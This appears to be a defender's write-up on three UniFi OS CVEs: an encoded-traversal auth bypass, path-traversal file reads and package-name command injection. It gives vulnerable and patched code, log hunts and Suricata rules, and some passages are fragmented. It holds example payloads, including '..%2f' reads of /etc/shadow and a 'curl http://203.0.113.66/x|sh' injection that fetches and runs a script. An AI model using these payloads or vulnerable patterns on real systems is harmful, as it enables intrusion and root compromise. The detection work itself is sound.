These were publicly chained to unauthenticated root, but they are three separate weaknesses in three different sinks. 34908 and 34909 share one root cause (raw-vs-normalized URI handling) on two different routes; 34910 is independent.
| CVE | Class (CWE) | Route / sink | Primitive | Vuln→Patched status |
|---|---|---|---|---|
| 2026-34908 CVSS 10.0 | Improper Access Control (284) | /proxy/<svc>/ — reverse-proxy to backend APIs | Reach an unauthorized API (auth checked on raw URI, routed on normalized) | 200 → 400 |
| 2026-34909 CVSS 10.0 | Path Traversal (22) | /app-assets/<svc>/<path> — static files from disk | Read arbitrary files off the filesystem → account takeover | 200+file → 400 |
| 2026-34910 CVSS 10.0 | Improper Input Validation → Cmd Injection (20/77) | unifi-identity-update ucs update package name | Run arbitrary commands (name → /bin/sh -c) → root via sudo | exec → validated/no-shell |
The hard idea to teach: an attacker reaches full control without ever owning a valid account. Two of these bugs abuse a path traversal — a key that makes one door look like another — and the third injects a command. The part people miss: each bug, on its own, is enough to fully compromise the device — which is exactly why the vendor scored all three a maximum 10.0. Below: first the traversal mechanism, then the three independent routes to total control.
A traversal works because two pieces of code read the same request differently. The guard at the door reads the raw, encoded text; the worker inside reads the decoded path. Encode a ../ as ..%2f and you can show the guard a friendly path while the worker sees a forbidden one.
/app-assets/x/..%2f..%2fetc%2fshadow) so the guard sees "an asset" while the worker reads /etc/shadow. No password is needed to pull the file — and the file frequently contains one.sudo policy (NOPASSWD dpkg/chmod) merely shortens the trip to root.34908 / 34909 require percent-encoding. The bypass only works because nginx checks auth/routing on the raw %-encoded URI but resolves the backend on the normalized path. A plain ../ normalizes identically on both layers and does not bypass — so the attacker must send encoded traversal (..%2f, .%2e, %2e%2e, or double-encoded %252e). Those tokens never appear in legitimate /proxy/ or /app-assets/ traffic, making them a low-false-positive signal.
Log the raw bytes. nginx $request / $request_uri record the verbatim encoded line (good). If you only log the normalized $uri, the ..%2f collapses and you instead see the resolved path (e.g. /etc/passwd). The gold-standard detection is to log both and alert when the service/path they imply diverges — that divergence is the vulnerability, and it is exactly what the 5.0.8 patch added.
34910 is detected by shell metacharacters (; | & ` $( ${ && || and newline) in a package name that is otherwise [a-z0-9.+-]+.
/proxy/)Authenticated admin = 200. A direct, unauthenticated hit on the protected endpoint is correctly rejected 401.
/api/auth/validate-sso/) immediately followed by encoded ..%2f then /proxy/….Referer, non-browser User-Agent (curl), no preceding session/login events.$request_uri (still percent-encoded), but the request is actually routed using the normalized $uri (after nginx decodes %2f and resolves ../). Encode the traversal and the two disagree — you authenticate as one service and get routed to another.# Service identity for the access/exemption check is taken from the RAW URI ONLY. map $request_uri $target_runnable { # $request_uri = verbatim, still %-encoded default ''; ~^/proxy/([a-z]+)/(.*)$ $1; # $1 captured from the RAW string ~^/app-assets/([a-z]+)/(.*)$ $1; } # ... the auth/access layer trusts $target_runnable (raw-derived) ... # ... but proxy_pass / file serving use the NORMALIZED $uri to pick the backend. # attacker: /api/auth/validate-sso/..%2f..%2f..%2fproxy/users/.../ucs/update/... # raw-derived check -> looks exempt / wrong service (auth skipped) # normalized routing -> /proxy/users/... (PROTECTED backend reached)
if = runtime-generated (reconstructed)# ALSO derive the service from the NORMALIZED URI, then reject any divergence. map $uri $target_runnable_normalized { # $uri = %-decoded + ../ resolved default ''; ~^/proxy/([a-z][-a-z]*)/(.*)$ $1; # also: hyphen fix for uid-agent, talk-relay ~^/app-assets/([a-z][-a-z]*)/(.*)$ $1; } server { if ($target_runnable != $target_runnable_normalized) { return 400; } # raw ≠ normalized = traversal }
/app-assets/)Normal asset: a real file path, large body (~278 KB), JS content-type, browser Referer.
/app-assets/ + encoded ..%2f + an obvious target (etc%2fpasswd, etc%2fshadow, SSH keys, token files).text/plain body where a real asset is a large .js/.css/image./app-assets/<svc>/<path> handler joins the user-supplied <path> onto an asset directory and reads the result without verifying it stays inside that directory. A traversal in <path> walks out to any file on disk. (Same encoding root cause as 34908 — different sink: a filesystem read instead of API routing.)// serve /app-assets/<svc>/<path> from disk svc, rel := parseAppAssets(r.URL.Path) // rel = "../../../../etc/shadow" full := filepath.Join(assetRoot, svc, rel) // Join cleans ".." → escapes assetRoot data, _ := os.ReadFile(full) // reads /etc/shadow w.Write(data) // no containment check at all
# PRIMARY FIX (shipped): the same raw-vs-normalized nginx map as 34908 blocks the # encoded traversal before it ever reaches the /app-assets handler (return 400). // DEFENSE-IN-DEPTH the sink itself should also enforce containment: full := filepath.Join(assetRoot, svc, rel) if !strings.HasPrefix(filepath.Clean(full), assetRoot+"/") { http.Error(w, "forbidden", 403); return } // or, Go 1.20+: if !filepath.IsLocal(rel) { reject } data, _ := os.ReadFile(full)
fmt.Sprintf("…%v…") straight into a shell command string and handed to /bin/sh -c. Shell metacharacters in the name (; | ` $( ) are then interpreted by the shell, so the attacker runs arbitrary commands. The fix validates the name and runs the real binary with an argument vector (no shell).uos_pkg.go)// internal/pkg/utils.GetPackageVersion
f = "sudo dpkg -s %v 2>/dev/null | grep ^Version | awk '{print $2}'"
cmd = fmt.Sprintf(f, name) // user-controlled
exec.Command("/bin/sh", "-c", cmd) // shell!
.CombinedOutput()
// internal/pkg/utils.GetPackageVersion if assertValidName() != ok { return err } // validate exec.Command("dpkg-query", // no shell "-W","-f","${Version}", name) // arg vector .CombinedOutput()
package=foo;curl http://203.0.113.66/x|sh)When the package name rides in the body, the access log shows only the endpoint. Confirm on the host:
type=EXECVE ... argv[0]="/bin/sh" argv[1]="-c" argv[2]="dpkg -s foo;curl http://203.0.113.66/x|sh" uid=ucs-update Jun 09 14:31:45 udm sudo[20413]: ucs-update : USER=root ; COMMAND=/usr/bin/dpkg -i /tmp/x.deb
%3B=;, %7C=|, %60=`, %24%28=$(, %0a=newline) on a /ucs/update path. Legit package names are [a-z0-9.+-]+...%2f…/proxy/… prefix) so it runs unauthenticated./bin/sh -c containing a package name with ;/|, then a sudo … dpkg as ucs-update (the privesc to root).Note — this is only one of several possible routes. The PoC stitched all three together, but 34909 alone could instead end at a normal /api/login using a stolen credential, and 34908 or 34910 alone is sufficient too. Correlation rule for the SOC: same src_ip producing a 401→200 transition on a /proxy/ resource and/or any ..%2f on /app-assets/ and/or shell metacharacters on /ucs/update — any one is alarm-worthy; together = active exploitation.
# Encoded traversal on the two vulnerable route families (34908 + 34909) rg -iN '/(proxy|app-assets)/[^ ]*((\.\.|%2e%2e|\.%2e|%2e\.|%252e)(/|%2f|%5c|%252f))' access.log # 34909 specifically reaching sensitive files rg -iN '/app-assets/.*(%2e%2e|\.\.).*(etc%2f|%2fshadow|%2fpasswd|id_rsa|\.key)' access.log # 34910 — shell metacharacters on the ucs update endpoint rg -iN '/ucs/update[^ ]*(%3b|%7c|%60|%24%28|%0a|;|\||`|\$\()' access.log # The bypass fingerprint: auth-exempt prefix followed by encoded dot-dot into /proxy rg -iN '/api/auth/[^ ]*(\.\.|%2e%2e)(/|%2f).*proxy/' access.log
index=unifi sourcetype=nginx:access
| rex field=_raw "\"(?<method>\S+)\s+(?<uri>\S+)\s+HTTP"
| where match(uri,"(?i)/(proxy|app-assets)/")
AND match(uri,"(?i)(\.\.|%2e%2e|\.%2e|%2e\.|%252e)(/|%2f|%5c|%252f)")
| stats count min(_time) as first max(_time) as last values(status) as statuses by src_ip, uri
url.original : (*proxy* or *app-assets*) and url.original : (*%2e%2e* or *..%2f* or *.%2e* or *%252e*) or (url.path : *\/ucs\/update* and url.query : (*%3b* or *%7c* or *%60* or *%24%28*))
# Log BOTH raw and normalized, then alert when the captured service differs: # nginx: log_format hunt '$remote_addr "$request" raw=$request_uri norm=$uri $status'; # rule (pseudo): svc_raw = capture( $request_uri , ^/(proxy|app-assets)/([a-z-]+)/ ) # svc_norm = capture( $uri , ^/(proxy|app-assets)/([a-z-]+)/ ) # ALERT if svc_raw != svc_norm # encoding-agnostic, ~0 FP
alert http any any -> $HOME_NET any (
msg:"CVE-2026-34908 UniFi OS auth bypass - encoded traversal into /proxy";
flow:established,to_server; http.request_line;
content:"/proxy/"; nocase;
pcre:"/(?:\.\.|%2e%2e|\.%2e|%2e\.|%252e)(?:\/|%2f|%5c|%252f)/i";
classtype:web-application-attack; reference:cve,2026-34908; sid:9000801; rev:1;)
alert http any any -> $HOME_NET any (
msg:"CVE-2026-34909 UniFi OS path traversal - encoded traversal into /app-assets (file read)";
flow:established,to_server; http.request_line;
content:"/app-assets/"; nocase;
pcre:"/(?:\.\.|%2e%2e|\.%2e|%2e\.|%252e)(?:\/|%2f|%5c|%252f)/i";
classtype:web-application-attack; reference:cve,2026-34909; sid:9000901; rev:1;)
alert http any any -> $HOME_NET any (
msg:"CVE-2026-34910 UniFi OS command injection - shell metachars in ucs update name";
flow:established,to_server; http.uri; content:"/ucs/update"; nocase;
pcre:"/(?:[;|&`]|\$\(|\$\{|\|\||&&|%3b|%7c|%26|%60|%24%28|%0a|\bdpkg\b|\bsystemctl\b|\$\(IFS)/iU";
classtype:web-application-attack; reference:cve,2026-34910; sid:9001001; rev:1;)
%c0%ae) and triple-encoding variants if you want exhaustive coverage; the divergence check above sidesteps the encoding arms race.